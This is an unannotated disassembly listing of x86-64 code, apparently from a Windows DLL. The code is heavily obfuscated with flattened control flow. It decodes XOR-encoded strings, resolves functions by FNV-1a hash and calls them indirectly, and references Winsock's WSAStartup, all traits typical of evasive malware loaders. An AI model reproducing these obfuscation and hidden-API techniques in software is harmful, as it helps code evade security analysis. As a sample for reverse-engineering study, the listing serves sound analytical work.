mov rcx, qword [rsp + 0x40]
mov dl, byte [rax + rcx]
mov rbp, qword [rsp + 0x110]
mov ebx, 0xf22ccaf0
nop word cs:[rax + rax]
nop
cmp ebx, 0x7c927bd0
je 0x180035127
cmp ebx, 0xf22ccaf0
jne 0x180035250
mov qword [rsp + 0x138], rsi
mov ebx, 0x2be76a49
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebx, 0x157d9de7
je 0x1800352a9
cmp ebx, 0x2be76a49
jne 0x180035280
mov rbx, qword [rsp + 0x138]
movzx ebx, byte [rbx]
add bl, bpl
mov byte [rsp + 0x68], bl
mov ebx, 0x157d9de7
jmp 0x180035280
mov bl, byte [rsp + 0x68]
xor bl, dl
mov byte [rsp + 0x4c], bl
mov ebx, 0x7c927bd0
jmp 0x180035250
mov rcx, qword [rsp + 0x110]
add rcx, 1
mov qword [rsp + 0x40], rcx
mov ecx, 0x44585a6e
jmp 0x180035140
cmp ecx, 0x4a4cfc83
jne 0x180035140
mov rax, qword [rsp + 0x50]
mov ebx, 0x9304b30f
jmp 0x180035310
movsxd rbp, ecx
xor rbp, qword [rsp + 0x138]
imul rbp, r9
mov esi, dword [rsp + 0x60]
add esi, 1
mov ebx, 0xc46bd60d
nop dword [rax + rax]
cmp ebx, 0xec989664
jle 0x180035370
cmp ebx, 0xde9741a
jle 0x1800353c0
cmp ebx, 0x4040a63f
jg 0x180035445
cmp ebx, 0xde9741b
je 0x180035506
cmp ebx, 0x23777f42
je 0x180035519
cmp ebx, 0x34fd6d6d
jne 0x180035310
cmp byte [rsp + 0x80], 0
mov ebx, 0xa8588bcc
cmovne ebx, r12d
jmp 0x180035310
cmp ebx, 0xb3b07733
jle 0x180035400
cmp ebx, 0xc86312b3
jle 0x180035477
cmp ebx, 0xc86312b4
je 0x1800352ed
cmp ebx, 0xcaf004ba
je 0x180035523
cmp ebx, 0xdf0d33c4
jne 0x180035310
mov ebx, 0xc46bd60d
xor esi, esi
mov rbp, r8
jmp 0x180035310
cmp ebx, 0xfa416f8f
jle 0x1800354b3
cmp ebx, 0xfa416f90
je 0x180035548
cmp ebx, 0x45d558a
je 0x180035556
cmp ebx, 0xc942d64
jne 0x180035310
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180035310
cmp ebx, 0xa8588bcb
jle 0x1800354e4
cmp ebx, 0xa8588bcc
je 0x18003556c
cmp ebx, 0xa94a57ae
je 0x18003557a
cmp ebx, 0xb18d2356
jne 0x180035310
mov ebx, dword [rsp + 0x68]
or ebx, 0x20
mov dword [rsp + 0x78], ebx
mov ebx, 0xfa416f90
jmp 0x180035310
cmp ebx, 0x4040a640
je 0x180035584
cmp ebx, 0x494b1080
je 0x18003558e
cmp ebx, 0x6238ad6b
jne 0x180035310
mov ebx, 0xcaf004ba
mov edx, dword [rsp + 0x4c]
jmp 0x180035310
cmp ebx, 0xb3b07734
je 0x1800355a1
cmp ebx, 0xc46bd60d
jne 0x1800355f4
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x138], rbp
mov ebx, dword [rsp + 0x50]
mov edi, dword [rsp + 0x60]
cmp edi, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r14d
jmp 0x180035310
cmp ebx, 0xec989665
je 0x1800355c5
cmp ebx, 0xed3b0916
jne 0x180035310
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x34fd6d6d
jmp 0x180035310
cmp ebx, 0x8051c795
je 0x1800355da
cmp ebx, 0x9304b30f
jne 0x180035310
mov ebx, 0xc942d64
jmp 0x180035310
mov ebx, dword [rsp + 0x60]
mov qword [rsp + 0x40], rbx
mov ebx, 0x8051c795
jmp 0x180035310
mov ebx, 0xdf0d33c4
jmp 0x180035310
mov dword [rsp + 0x50], edx
mov ebx, dword [rsp + 0x50]
movsx ebx, byte [rax + rbx]
mov dword [rsp + 0x5c], ebx
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r13d
jmp 0x180035310
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x78]
jmp 0x180035310
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x7f
setl byte [rsp + 0x77]
mov ebx, 0x494b1080
jmp 0x180035310
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x68]
jmp 0x180035310
mov ebx, 0x23777f42
jmp 0x180035310
mov ebx, 0x6238ad6b
jmp 0x180035310
cmp byte [rsp + 0x77], 0
mov ebx, 0xa94a57ae
cmovne ebx, r15d
jmp 0x180035310
mov rbx, qword [rsp + 0x110]
movsx ebx, byte [rbx]
mov dword [rsp + 0x68], ebx
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r10d
jmp 0x180035310
mov ebx, dword [rsp + 0x50]
add ebx, 1
mov dword [rsp + 0x4c], ebx
mov ebx, 0x4040a640
jmp 0x180035310
mov rbx, qword [rsp + 0x40]
add rbx, rax
mov qword [rsp + 0x110], rbx
mov ebx, 0xb3b07734
jmp 0x180035310
cmp ebx, 0xc5d9b945
jne 0x180035310
mov rcx, qword [rsp + 0x138]
call fcn.1800ae820
mov rcx, qword [rsp + 0x90]
call rax
mov r10d, 0xed3b0916
mov rax, qword [rsp + 0xc8]
mov eax, 0x64364cd3
lea rsi, [rsp + 0x578]
jmp 0x180032410
movzx edx, word [rsp + 0x40]
mov word [rax + 2], dx
mov dword [rsp + 0x110], reloc.WS2_32.dll_WSAStartup
add ecx, 1
mov edx, 0xb6c7733c
nop dword [rax]
cmp edx, 0x15cdd920
je 0x180035740
cmp edx, 0xb6c7733c
jne 0x180035660
mov word [rsp + 0x40], cx
mov edx, 0x15cdd920
jmp 0x180035660
add al, byte [rsp + 0x60]
mov rcx, qword [rsp + 0x110]
mov byte [rcx], al
mov rax, qword [rsp + 0x110]
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x2c753497
je 0x180035780
cmp ecx, 0x9ba7a8c3
jne 0x1800356b0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x1800356b0
movsx edx, byte [rsp + 0x138]
mov dword [rsp + 0x110], edx
mov edx, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp edx, 0xd33755b0
je 0x1800357e0
cmp edx, 0xff5b84f4
jne 0x180035710
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x110]
mov dword [rsp + 0x138], edx
mov edx, 0xd33755b0
jmp 0x180035710
movzx ecx, word [rsp + 0x40]
mov word [rsp + 0x60], cx
mov ecx, 0x5ec8cbb6
nop
cmp ecx, 0x8ebbb30
je 0x180035830
cmp ecx, 0x5ec8cbb6
jne 0x180035750
movzx ecx, word [rsp + 0x60]
mov edx, dword [rsp + 0x110]
xor dx, cx
mov word [rsp + 0x40], dx
mov ecx, 0x8ebbb30
jmp 0x180035750
mov cl, byte [rsp + 0x60]
add cl, 0x64
mov byte [rax + 1], cl
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word [rax + rax]
cmp ecx, 0x2c753497
je 0x180035b60
cmp ecx, 0x9ba7a8c3
jne 0x1800357a0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x1800357a0
mov edx, dword [rsp + 0x138]
mov byte [rcx + 2], dl
mov dword [rsp + 0x40], WSAStartup
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x180035bc0
cmp edx, 0x4f38ddca
jne 0x180035800
mov byte [rsp + 0x138], al
mov edx, 0x82f8561f
jmp 0x180035800
movzx ecx, word [rsp + 0x40]
mov word [rax + 4], cx
add rax, 6
mov qword [rsp + 0x60], rax
mov word [rsp + 0x5c], 0x3a
mov ecx, 0xdd955c32
nop
cmp ecx, 0x36c8fae9
jle 0x180035870
cmp ecx, 0x36c8faea
je 0x1800358bc
cmp ecx, 0x6e7348cf
jne 0x180035850
jmp 0x180035c10
cmp ecx, 0x836d7441
je 0x1800358fc
cmp ecx, 0xdd955c32
jne 0x180035850
movzx ecx, word [rsp + 0x5c]
mov dword [rsp + 0x78], ecx
mov ecx, dword [rsp + 0x138]
add ecx, 2
mov edx, 0xb6c7733c
nop dword [rax]
cmp edx, 0x15cdd920
je 0x18003591f
cmp edx, 0xb6c7733c
jne 0x1800358a0
mov word [rsp + 0x68], cx
mov edx, 0x15cdd920
jmp 0x1800358a0
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x78], WSAStartup
mov ecx, dword [rsp + 0x138]
mov edx, ecx
add edx, 4
mov ebp, 0xb6c7733c
nop word [rax + rax]
cmp ebp, 0x15cdd920
je 0x180035958
cmp ebp, 0xb6c7733c
jne 0x1800358e0
mov word [rsp + 0x68], dx
mov ebp, 0x15cdd920
jmp 0x1800358e0
mov word [rax], 0
add rax, 2
cmp rax, qword [rsp + 0x110]
mov ecx, 0x836d7441
mov edx, 0x6e7348cf
cmove ecx, edx
jmp 0x180035850
movzx ecx, word [rsp + 0x68]
mov word [rsp + 0x4c], cx
mov ecx, 0x5ec8cbb6
nop
cmp ecx, 0x8ebbb30
je 0x180035998
cmp ecx, 0x5ec8cbb6
jne 0x180035930
movzx ecx, word [rsp + 0x4c]
mov edx, dword [rsp + 0x78]
xor dx, cx
mov word [rsp + 0x68], dx
mov ecx, 0x8ebbb30
jmp 0x180035930
movzx edx, word [rsp + 0x68]
mov word [rsp + 0x4c], dx
mov edx, 0x5ec8cbb6
nop word [rax + rax]
cmp edx, 0x8ebbb30
je 0x1800359ec
cmp edx, 0x5ec8cbb6
jne 0x180035970
movzx edx, word [rsp + 0x4c]
mov ebp, dword [rsp + 0x78]
xor bp, dx
mov word [rsp + 0x68], bp
mov edx, 0x8ebbb30
jmp 0x180035970
movzx ecx, word [rsp + 0x68]
mov rdx, qword [rsp + 0x60]
mov word [rdx], cx
mov rcx, qword [rsp + 0x60]
add rcx, 2
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x78], 0x69
mov ecx, dword [rsp + 0x138]
add ecx, 3
mov edx, 0xb6c7733c
nop word [rax + rax]
cmp edx, 0x15cdd920
je 0x180035a2c
cmp edx, 0xb6c7733c
jne 0x1800359d0
mov word [rsp + 0x68], cx
mov edx, 0x15cdd920
jmp 0x1800359d0
movzx edx, word [rsp + 0x68]
mov word [rax + 2], dx
mov dword [rsp + 0x78], 0x66
lea edx, [rcx + 5]
mov ebp, 0xb6c7733c
nop word cs:[rax + rax]
nop
cmp ebp, 0x15cdd920
je 0x180035a68
cmp ebp, 0xb6c7733c
jne 0x180035a10
mov word [rsp + 0x68], dx
mov ebp, 0x15cdd920
jmp 0x180035a10
movzx ecx, word [rsp + 0x68]
mov word [rsp + 0x4c], cx
mov ecx, 0x5ec8cbb6
nop dword [rax + rax]
cmp ecx, 0x8ebbb30
je 0x180035aa8
cmp ecx, 0x5ec8cbb6
jne 0x180035a40
movzx ecx, word [rsp + 0x4c]
mov edx, dword [rsp + 0x78]
xor dx, cx
mov word [rsp + 0x68], dx
mov ecx, 0x8ebbb30
jmp 0x180035a40
movzx edx, word [rsp + 0x68]
mov word [rsp + 0x4c], dx
mov edx, 0x5ec8cbb6
nop word [rax + rax]
cmp edx, 0x8ebbb30
je 0x180035abf
cmp edx, 0x5ec8cbb6
jne 0x180035a80
movzx edx, word [rsp + 0x4c]
mov ebp, dword [rsp + 0x78]
xor bp, dx
mov word [rsp + 0x68], bp
mov edx, 0x8ebbb30
jmp 0x180035a80
movzx ecx, word [rsp + 0x68]
mov rdx, qword [rsp + 0x40]
mov word [rdx], cx
mov ecx, 0x36c8faea
jmp 0x180035850
movzx edx, word [rsp + 0x68]
mov word [rax + 4], dx
mov dword [rsp + 0x78], WSAStartup
add ecx, 6
mov edx, 0xb6c7733c
nop dword [rax + rax]
cmp edx, 0x15cdd920
je 0x180035afc
cmp edx, 0xb6c7733c
jne 0x180035ae0
mov word [rsp + 0x68], cx
mov edx, 0x15cdd920
jmp 0x180035ae0
movzx ecx, word [rsp + 0x68]
mov word [rsp + 0x4c], cx
mov ecx, 0x5ec8cbb6
nop dword [rax + rax]
cmp ecx, 0x8ebbb30
je 0x180035b38
cmp ecx, 0x5ec8cbb6
jne 0x180035b10
movzx ecx, word [rsp + 0x4c]
mov edx, dword [rsp + 0x78]
xor dx, cx
mov word [rsp + 0x68], dx
mov ecx, 0x8ebbb30
jmp 0x180035b10
movzx ecx, word [rsp + 0x68]
mov word [rax + 6], cx
add rax, 8
mov rcx, qword [rsp + 0x50]
add rcx, 0x12
mov qword [rsp + 0x110], rcx
mov ecx, 0x836d7441
jmp 0x180035850
mov cl, byte [rsp + 0x60]
add cl, 0x46
mov byte [rax + 2], cl
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word [rax + rax]
cmp ecx, 0x2c753497
je 0x180035cb0
cmp ecx, 0x9ba7a8c3
jne 0x180035b80
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x180035b80
movsx edx, byte [rsp + 0x138]
mov dword [rsp + 0x110], edx
mov edx, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp edx, 0xd33755b0
je 0x180035d10
cmp edx, 0xff5b84f4
jne 0x180035be0
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x110]
mov dword [rsp + 0x138], edx
mov edx, 0xd33755b0
jmp 0x180035be0
mov rcx, rsi
call fcn.180037520
mov rcx, qword [rsp + 0xa0]
mov edx, 0x400
mov r8, rax
mov r9, rcx
call fcn.180037420
mov eax, 0xf98468c
movabs r8, 0xcbf29ce484222325
movabs r9, 0x100000001b3
mov r10d, 0xed3b0916
nop
cmp eax, 0xa42c913d
je 0x180035d60
cmp eax, 0xf98468c
jne 0x180035c50
mov dword [rsp + 0x60], 0x43
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180035c90
cmp eax, 0x7bf1080d
jne 0x180035c70
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180035c70
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180035c50
mov cl, byte [rsp + 0x60]
add cl, 0x69
mov byte [rax + 3], cl
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word [rax + rax]
cmp ecx, 0x2c753497
je 0x180035de0
cmp ecx, 0x9ba7a8c3
jne 0x180035cd0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x180035cd0
mov edx, dword [rsp + 0x138]
mov byte [rcx + 3], dl
mov dword [rsp + 0x40], reloc.WS2_32.dll_WSAStartup
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x180035e40
cmp edx, 0x4f38ddca
jne 0x180035d30
mov byte [rsp + 0x138], al
mov edx, 0x82f8561f
jmp 0x180035d30
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x138], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180035e90
cmp eax, 0xf98468c
jne 0x180035d80
mov dword [rsp + 0x60], WSAStartup
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180035dc0
cmp eax, 0x7bf1080d
jne 0x180035da0
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180035da0
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180035d80
mov cl, byte [rsp + 0x60]
add cl, 0x6c
mov byte [rax + 4], cl
mov dword [rsp + 0x40], 0x18
mov ecx, 0x9ba7a8c3
nop word [rax + rax]
cmp ecx, 0x2c753497
je 0x180035f10
cmp ecx, 0x9ba7a8c3
jne 0x180035e00
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov byte [rsp + 0x60], cl
mov ecx, 0x2c753497
jmp 0x180035e00
movsx edx, byte [rsp + 0x138]
mov dword [rsp + 0x110], edx
mov edx, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp edx, 0xd33755b0
je 0x1800362c0
cmp edx, 0xff5b84f4
jne 0x180035e60
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x110]
mov dword [rsp + 0x138], edx
mov edx, 0xd33755b0
jmp 0x180035e60
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x139], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036310
cmp eax, 0xf98468c
jne 0x180035eb0
mov dword [rsp + 0x60], 0x65
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180035ef0
cmp eax, 0x7bf1080d
jne 0x180035ed0
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180035ed0
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180035eb0
mov cl, byte [rsp + 0x60]
add cl, 0x65
mov byte [rax + 5], cl
mov byte [rax + 6], 0
lea rcx, [rsp + 0x588]
call fcn.180037710
mov r10d, 0xed3b0916
mov ebx, 0x9304b30f
movabs r8, 0xcbf29ce484222325
movabs r9, 0x100000001b3
jmp 0x180035f70
movsxd rbp, ecx
xor rbp, qword [rsp + 0x138]
imul rbp, r9
mov esi, dword [rsp + 0x60]
add esi, 1
mov ebx, 0xc46bd60d
nop word [rax + rax]
cmp ebx, 0xec989664
jle 0x180035fd0
cmp ebx, 0xde9741a
jle 0x180036020
cmp ebx, 0x4040a63f
jg 0x1800360a5
cmp ebx, 0xde9741b
je 0x180036166
cmp ebx, 0x23777f42
je 0x180036179
cmp ebx, 0x34fd6d6d
jne 0x180035f70
cmp byte [rsp + 0x80], 0
mov ebx, 0xa8588bcc
cmovne ebx, r12d
jmp 0x180035f70
cmp ebx, 0xb3b07733
jle 0x180036060
cmp ebx, 0xc86312b3
jle 0x1800360d7
cmp ebx, 0xc86312b4
je 0x180035f4c
cmp ebx, 0xcaf004ba
je 0x180036183
cmp ebx, 0xdf0d33c4
jne 0x180035f70
mov ebx, 0xc46bd60d
xor esi, esi
mov rbp, r8
jmp 0x180035f70
cmp ebx, 0xfa416f8f
jle 0x180036113
cmp ebx, 0xfa416f90
je 0x1800361a8
cmp ebx, 0x45d558a
je 0x1800361b6
cmp ebx, 0xc942d64
jne 0x180035f70
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180035f70
cmp ebx, 0xa8588bcb
jle 0x180036144
cmp ebx, 0xa8588bcc
je 0x1800361cc
cmp ebx, 0xa94a57ae
je 0x1800361da
cmp ebx, 0xb18d2356
jne 0x180035f70
mov ebx, dword [rsp + 0x68]
or ebx, 0x20
mov dword [rsp + 0x78], ebx
mov ebx, 0xfa416f90
jmp 0x180035f70
cmp ebx, 0x4040a640
je 0x1800361e4
cmp ebx, 0x494b1080
je 0x1800361ee
cmp ebx, 0x6238ad6b
jne 0x180035f70
mov ebx, 0xcaf004ba
mov edx, dword [rsp + 0x4c]
jmp 0x180035f70
cmp ebx, 0xb3b07734
je 0x180036201
cmp ebx, 0xc46bd60d
jne 0x180036254
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x138], rbp
mov ebx, dword [rsp + 0x50]
mov edi, dword [rsp + 0x60]
cmp edi, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r14d
jmp 0x180035f70
cmp ebx, 0xec989665
je 0x180036225
cmp ebx, 0xed3b0916
jne 0x180035f70
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x5b
setl byte [rsp + 0x80]
mov ebx, 0x34fd6d6d
jmp 0x180035f70
cmp ebx, 0x8051c795
je 0x18003623a
cmp ebx, 0x9304b30f
jne 0x180035f70
mov ebx, 0xc942d64
jmp 0x180035f70
mov ebx, dword [rsp + 0x60]
mov qword [rsp + 0x40], rbx
mov ebx, 0x8051c795
jmp 0x180035f70
mov ebx, 0xdf0d33c4
jmp 0x180035f70
mov dword [rsp + 0x50], edx
mov ebx, dword [rsp + 0x50]
movsx ebx, byte [rax + rbx]
mov dword [rsp + 0x5c], ebx
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r13d
jmp 0x180035f70
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x78]
jmp 0x180035f70
mov ebx, dword [rsp + 0x5c]
cmp ebx, 0x7f
setl byte [rsp + 0x77]
mov ebx, 0x494b1080
jmp 0x180035f70
mov ebx, 0xc86312b4
mov ecx, dword [rsp + 0x68]
jmp 0x180035f70
mov ebx, 0x23777f42
jmp 0x180035f70
mov ebx, 0x6238ad6b
jmp 0x180035f70
cmp byte [rsp + 0x77], 0
mov ebx, 0xa94a57ae
cmovne ebx, r15d
jmp 0x180035f70
mov rbx, qword [rsp + 0x110]
movsx ebx, byte [rbx]
mov dword [rsp + 0x68], ebx
mov ebx, dword [rsp + 0x68]
cmp ebx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r10d
jmp 0x180035f70
mov ebx, dword [rsp + 0x50]
add ebx, 1
mov dword [rsp + 0x4c], ebx
mov ebx, 0x4040a640
jmp 0x180035f70
mov rbx, qword [rsp + 0x40]
add rbx, rax
mov qword [rsp + 0x110], rbx
mov ebx, 0xb3b07734
jmp 0x180035f70
cmp ebx, 0xc5d9b945
jne 0x180035f70
mov rcx, qword [rsp + 0x138]
call fcn.1800ae820
mov rcx, qword [rsp + 0x88]
mov rdx, qword [rcx + 8]
mov rcx, qword [rsp + 0x90]
mov qword [rsp + 0x20], 0
mov r8d, 0x122c
lea r9, [rsp + 0x10c]
call rax
mov r10d, 0xed3b0916
test eax, eax
sete byte [rsp + 0x86]
mov eax, 0x918aa4ec
lea rsi, [rsp + 0x578]
jmp 0x180032410
mov edx, dword [rsp + 0x138]
mov byte [rcx + 4], dl
mov dword [rsp + 0x40], 0x65
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x180036390
cmp edx, 0x4f38ddca
jne 0x1800362e0
mov byte [rsp + 0x138], al
mov edx, 0x82f8561f
jmp 0x1800362e0
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13a], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x1800363e0
cmp eax, 0xf98468c
jne 0x180036330
mov dword [rsp + 0x60], 0x61
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180036370
cmp eax, 0x7bf1080d
jne 0x180036350
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180036350
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180036330
movsx edx, byte [rsp + 0x138]
mov dword [rsp + 0x110], edx
mov edx, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp edx, 0xd33755b0
je 0x180036460
cmp edx, 0xff5b84f4
jne 0x1800363b0
mov edx, dword [rsp + 0x40]
xor edx, dword [rsp + 0x110]
mov dword [rsp + 0x138], edx
mov edx, 0xd33755b0
jmp 0x1800363b0
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13b], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x1800364b0
cmp eax, 0xf98468c
jne 0x180036400
mov dword [rsp + 0x60], 0x74
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180036440
cmp eax, 0x7bf1080d
jne 0x180036420
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x180036420
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x180036400
mov edx, dword [rsp + 0x138]
mov byte [rcx + 5], dl
add rcx, 6
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x50], 0x48
mov ecx, 0x4f38ddca
cmp ecx, 0x82f8561f
je 0x180036530
cmp ecx, 0x4f38ddca
jne 0x180036480
mov byte [rsp + 0x138], al
mov ecx, 0x82f8561f
jmp 0x180036480
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13c], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036580
cmp eax, 0xf98468c
jne 0x1800364d0
mov dword [rsp + 0x60], 0x65
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x180036510
cmp eax, 0x7bf1080d
jne 0x1800364f0
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x1800364f0
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x1800364d0
movsx eax, byte [rsp + 0x138]
mov dword [rsp + 0x110], eax
mov eax, 0xff5b84f4
nop word cs:[rax + rax]
nop
cmp eax, 0xd33755b0
je 0x180036600
cmp eax, 0xff5b84f4
jne 0x180036550
mov eax, dword [rsp + 0x50]
xor eax, dword [rsp + 0x110]
mov dword [rsp + 0x138], eax
mov eax, 0xd33755b0
jmp 0x180036550
mov eax, dword [rsp + 0x60]
add eax, dword [rsp + 0x40]
mov byte [rsp + 0x13d], al
mov eax, 0xf98468c
nop word cs:[rax + rax]
nop
cmp eax, 0xa42c913d
je 0x180036910
cmp eax, 0xf98468c
jne 0x1800365a0
mov dword [rsp + 0x60], 0x46
mov eax, 0x7bf1080d
nop
cmp eax, 0x6b4a88ba
je 0x1800365e0
cmp eax, 0x7bf1080d
jne 0x1800365c0
mov dword [rsp + 0x110], 5
mov eax, 0x6b4a88ba
jmp 0x1800365c0
mov eax, dword [rsp + 0x110]
movsx eax, al
mov dword [rsp + 0x40], eax
mov eax, 0xa42c913d
jmp 0x1800365a0
mov eax, dword [rsp + 0x138]
mov byte [rsp + 0x5c], al
mov ecx, 0x48cda362
cmp ecx, 0x48cda361
jg 0x180036680
cmp ecx, 0x142be633
je 0x1800366db
cmp ecx, 0x2552dda3
jne 0x180036610
mov rax, qword [rsp + 0x110]
mov cl, byte [rsp + 0x4c]
mov byte [rax], cl
mov rax, qword [rsp + 0x110]
mov dword [rsp + 0x68], 0x64
mov edx, 0x4f38ddca
mov cl, byte [rsp + 0x568]
nop word cs:[rax + rax]
cmp edx, 0x82f8561f
je 0x1800366fc
cmp edx, 0x4f38ddca
jne 0x180036660
mov byte [rsp + 0x50], cl
mov edx, 0x82f8561f
jmp 0x180036660
cmp ecx, 0x583c8341
je 0x180036990
cmp ecx, 0x48cda362
jne 0x180036610
mov rcx, qword [rsp + 0x40]
mov dl, byte [rsp + 0x5c]
mov byte [rcx], dl
mov rdx, qword [rsp + 0x40]
mov dword [rsp + 0x68], 0x61
mov ebp, 0x4f38ddca
mov cl, byte [rsp + 0x568]
nop dword [rax]
cmp ebp, 0x82f8561f
je 0x180036733
cmp ebp, 0x4f38ddca
jne 0x1800366c0
mov byte [rsp + 0x50], cl
mov ebp, 0x82f8561f
jmp 0x1800366c0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x138]
mov ecx, 0x142be633
mov edx, 0x583c8341
cmove ecx, edx
jmp 0x180036610
movsx edx, byte [rsp + 0x50]
mov dword [rsp + 0x78], edx
mov edx, 0xff5b84f4
nop word [rax + rax]
cmp edx, 0xd33755b0
je 0x180036773
cmp edx, 0xff5b84f4
jne 0x180036710
mov edx, dword [rsp + 0x68]
xor edx, dword [rsp + 0x78]
mov dword [rsp + 0x50], edx
mov edx, 0xd33755b0
jmp 0x180036710
movsx ebp, byte [rsp + 0x50]
mov dword [rsp + 0x78], ebp
mov ebp, 0xff5b84f4
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp ebp, 0xd33755b0
je 0x1800367ab
cmp ebp, 0xff5b84f4
jne 0x180036750
mov ebp, dword [rsp + 0x68]
xor ebp, dword [rsp + 0x78]
mov dword [rsp + 0x50], ebp
mov ebp, 0xd33755b0
jmp 0x180036750
mov edx, dword [rsp + 0x50]
mov byte [rax + 1], dl
mov dword [rsp + 0x68], WSAStartup
mov edx, 0x4f38ddca
nop word [rax + rax]
cmp edx, 0x82f8561f
je 0x1800367eb
cmp edx, 0x4f38ddca
jne 0x180036790
